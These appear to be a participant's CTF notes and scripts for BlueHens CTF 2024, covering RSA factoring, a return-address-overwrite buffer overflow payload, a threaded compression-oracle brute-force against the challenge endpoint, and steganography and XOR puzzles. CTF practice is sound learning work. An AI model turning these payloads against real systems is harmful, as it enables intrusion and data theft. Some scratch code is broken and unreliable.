2024年11月09日
BlueHens CTF 2024
Training Problem: Intro to RSA
In [9]: p = getPrime(128) In [10]: q = getPrime(128) In [11]: N = p*q In [12]: bytes_to_long(flag) < N Out[12]: True In [13]: print(pow(bytes_to_long(flag), 65537, N), N) 9015202564552492364962954854291908723653545972440223723318311631007329746475 51328431690246050000196200646927542588629192646276628974445855970986472407007
from sympy import factorint
from Crypto.Util.number import getPrime, bytes_to_long, long_to_bytes, inverse
# p = getPrime(128)
# q = getPrime(128)
# N = p * q
# # flag = b'hej' # Replace this with your actual flag
# flag = b'some_flag_here' # Replace this with your actual flag
# if bytes_to_long(flag) < N:
# message = bytes_to_long(flag)
# e = 65537
# ciphertext = pow(message,e,N)
# print("message:",message,long_to_bytes(message))
# print("N:", N)
# print("ciphertext:", message)
# d = pow(e, -1, N)
# print("d:", d)
# m = pow(M, d, N)
# print("m:", m)
# print(long_to_bytes(m))
# factors = factorint(N, limit=1000000) # Set a limit on the number of primes to try
# if len(factors) == 2:
# p, q = factors.keys()
# print("Factors of N:", p, q)
# phi = (p-1)*(q-1)
# d = inverse(e, phi)
#
# plaintext = pow(ciphertext, d, N)
# print(long_to_bytes(plaintext).decode())
cipher = 9015202564552492364962954854291908723653545972440223723318311631007329746475
N = 51328431690246050000196200646927542588629192646276628974445855970986472407007
e = 65537
factors = factorint(N) # Set a limit on the number of primes to try
if len(factors) == 2:
p, q = factors.keys()
print("Factors of N:", p, q)
phi = (p-1)*(q-1)
d = inverse(e, phi)
plaintext = pow(ciphertext, d, N)
print(long_to_bytes(plaintext))
# p, q = 186574907923363749257839451561965615541, 275108975057510790219027682719040831427
print("Factors of N:", p, q)
phi = (p-1)*(q-1)
d = pow(e, -1, phi)
plaintext = pow(cipher, d, N)
print(long_to_bytes(plaintext))
Training Problem: Intro to PWN
nc 0.cloud.chals.io 13545
0000000000401196 <win>: 401196: f3 0f 1e fa endbr64 40119a: 55 push %rbp 40119b: 48 89 e5 mov %rsp,%rbp 40119e: 48 8d 05 5f 0e 00 00 lea 0xe5f(%rip),%rax # 402004 <_IO_stdin_used+0x4> 4011a5: 48 89 c7 mov %rax,%rdi 4011a8: e8 d3 fe ff ff call 401080 <system@plt> 4011ad: 90 nop 4011ae: 5d pop %rbp 4011af: c3 ret 00000000004011b0 <vuln>: 4011b0: f3 0f 1e fa endbr64 4011b4: 55 push %rbp 4011b5: 48 89 e5 mov %rsp,%rbp 4011b8: 48 83 ec 30 sub $0x30,%rsp 4011bc: 48 8d 05 49 0e 00 00 lea 0xe49(%rip),%rax # 40200c <_IO_stdin_used+0xc> 4011c3: 48 89 c7 mov %rax,%rdi 4011c6: e8 a5 fe ff ff call 401070 <puts@plt> 4011cb: 48 8d 45 d0 lea -0x30(%rbp),%rax 4011cf: 48 89 c7 mov %rax,%rdi 4011d2: b8 00 00 00 00 mov $0x0,%eax 4011d7: e8 b4 fe ff ff call 401090 <gets@plt> 4011dc: 90 nop 4011dd: c9 leave 4011de: c3 ret 00000000004011df <main>: 4011df: f3 0f 1e fa endbr64 4011e3: 55 push %rbp 4011e4: 48 89 e5 mov %rsp,%rbp 4011e7: 48 8b 05 82 2e 00 00 mov 0x2e82(%rip),%rax # 404070 <stdin@GLIBC_2.2.5> 4011ee: b9 01 00 00 00 mov $0x1,%ecx 4011f3: ba 02 00 00 00 mov $0x2,%edx 4011f8: be 00 00 00 00 mov $0x0,%esi 4011fd: 48 89 c7 mov %rax,%rdi 401200: e8 9b fe ff ff call 4010a0 <setvbuf@plt> 401205: 48 8b 05 54 2e 00 00 mov 0x2e54(%rip),%rax # 404060 <stdout@GLIBC_2.2.5> 40120c: b9 01 00 00 00 mov $0x1,%ecx 401211: ba 02 00 00 00 mov $0x2,%edx 401216: be 00 00 00 00 mov $0x0,%esi 40121b: 48 89 c7 mov %rax,%rdi 40121e: e8 7d fe ff ff call 4010a0 <setvbuf@plt> 401223: 48 8b 05 56 2e 00 00 mov 0x2e56(%rip),%rax # 404080 <stderr@GLIBC_2.2.5> 40122a: b9 01 00 00 00 mov $0x1,%ecx 40122f: ba 02 00 00 00 mov $0x2,%edx 401234: be 00 00 00 00 mov $0x0,%esi 401239: 48 89 c7 mov %rax,%rdi 40123c: e8 5f fe ff ff call 4010a0 <setvbuf@plt> 401241: b8 00 00 00 00 mov $0x0,%eax 401246: e8 65 ff ff ff call 4011b0 <vuln> 40124b: b8 00 00 00 00 mov $0x0,%eax 401250: 5d pop %rbp 401251: c3 ret
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x90\x90\x90\x90\x90\x90\x90\x90\x96\x11\x40\x00
401196
\x96\x11\x40\x00
Just a day at the breach
payload is in hex, goal is to check if you can guess the string. 67 is the length if the flag is found
import string
CHARACTERS = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_{}"
python code
import requests
import zlib
from concurrent.futures import ThreadPoolExecutor, as_completed
import threading
import string
CHARACTERS = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_{}"
DOMAIN = "https://55nlig2es7hyrhvzcxzboyp4xe0nzjrc.lambda-url.us-east-1.on.aws"
# format: udctf{XXXX}
print("udctf{".encode().hex())
def sniff(hex_string: str) -> int:
data = {"payload": hex_string.encode().hex()}
response = requests.get(DOMAIN, params=data)
if response.status_code != 200:
return -1
compressed_length = response.json()['sniffed']
return compressed_length
num_threads = 50
lock = threading.Lock()
global found_flag
found_flag = "udctf{"
# with ThreadPoolExecutor(max_workers=num_threads) as executor:
# future_to_char = {executor.submit(sniff, char): char for char in CHARACTERS}
#
# for future in as_completed(future_to_char):
# char = future_to_char[future]
# try:
# result = future.result()
# print(result, char, char.encode().hex())
# except Exception as e:
# print(f"Error with character {char}: {e}")
# def bruteforce():
# global found_flag
# for char in CHARACTERS:
# result = sniff(f"{found_flag}{char}")
# if result == 67:
# found_flag += char
# print(found_flag)
# bruteforce()
found_flag="udctf{huffm4n_"
def attempt_char(char):
global found_flag
with lock: # Lock to ensure thread-safe access to found_flag
candidate = f"{found_flag}{char}"
result = sniff(candidate)
if result == 67:
with lock:
found_flag += char
print(f"Current flag: {found_flag}")
# Return True if this character was correct
return True
return False
def bruteforce():
global found_flag
with ThreadPoolExecutor(max_workers=5) as executor:
while True:
# Submit a task for each character in CHARACTERS
futures = {executor.submit(attempt_char, char): char for char in CHARACTERS}
found = False
for future in futures:
if future.result():
found = True # A correct character was found
break
if not found: # If no correct character is found, break the loop
print("No further characters matched.")
break
bruteforce()
#Current flag: udctf{huffm4n_br34ched_l3t5_go}
Whispers of the Feathered Messenger
Check EXIF.
Comment UGFzc3dvcmQ6IDVCNEA3cTchckVc
or just
$ file bird.jpeg
bird.jpeg: JPEG image data, JFIF standard 1.01, aspect ratio, density 72x72, segment length 16, comment: "UGFzc3dvcmQ6IDVCNEA3cTchckVc", baseline, precision 8, 1080x1350, components 3
$ echo 'UGFzc3dvcmQ6IDVCNEA3cTchckVc' | base64 -d
Password: 5B4@7q7!rE\
$ steghide extract -sf bird.jpeg Enter passphrase: 5B4@7q7!rE\
no idea why, i don’t know how to identify what kind of cipher was being used. seems like Salted__ was the hint for it
solution
$ openssl enc -d -aes-256-cbc -in encrypted_flag.bin -out decrypted_flag.bin -pass pass:"5B4@7q7!rE\\" *** WARNING : deprecated key derivation used. Using -iter or -pbkdf2 would be better. $ l decrypted_flag.bin .rw-r--r-- birb users 43 B Sat Nov 9 15:07:27 2024 decrypted_flag.bin $ cat decrypted_flag.bin UDCTF{m0AybE_YoR3$!_a_f0recnicsEs_3xpEr^t}
XS9: ROX LOOHCS
def xor(message: bytes, key: bytes) -> bytes:
xored = b''
for i in range(min(len(message), len(key))):
xor = message[i] ^ key[i]
xored += xor.to_bytes(1, byteorder='big')
return xored
def crack_palindrome(cipher: bytes) -> bytes:
message = b''
loop_limit = (len(cipher) // 2) + (len(cipher) & 1)
for i in range(loop_limit):
M_0 = cipher[i]
M_n = cipher[len(cipher)-1-i]
for j in range(0, 128):
result = M_0 ^ j
if result == M_n:
message += result.to_bytes(1, byteorder='big')
continue
def xor_table(data: bytes, bits: int = 8):
pass
flagmsg = "udctf{hello_wolrd}"
# print(xor(flagmsg, flagmsg[::-1]).hex())
#051c1b7f4652001b3008525d1b7f135c32160015453001551a7f0d1707167f1d1c4e0209011144134c5b005b4c1344110109024e1c1d7f1607170d7f1a55013045150016325c137f1b5d5208301b0052467f1b1c05
# first = xor(flagmsg, flagmsg[::-1]).hex()
# print(first)
# flagmsg = "051c1b7f4652001b3008525d1b7f135c32160015453001551a7f0d1707167f1d1c4e0209011144134c5b005b4c1344110109024e1c1d7f1607170d7f1a55013045150016325c137f1b5d5208301b0052467f1b1c05"
better1 = xor(flagmsg.encode(), flagmsg[::-1].encode())
# print(better1.hex())
decode = xor(better1, "udctf{"[::-1].encode())
# print(decode)
# print(crack_palindrome(better1))
message = b'\x09\x0A\x0B\x0C'
message = b'\xff\x00\x69\x11'
cipher = xor(message, message[::-1])
print(cipher.hex())
key = b'\x11\x69\x0d\x10'
decode = xor(cipher, key)
print(decode.hex(), xor(key, key[::-1]).hex())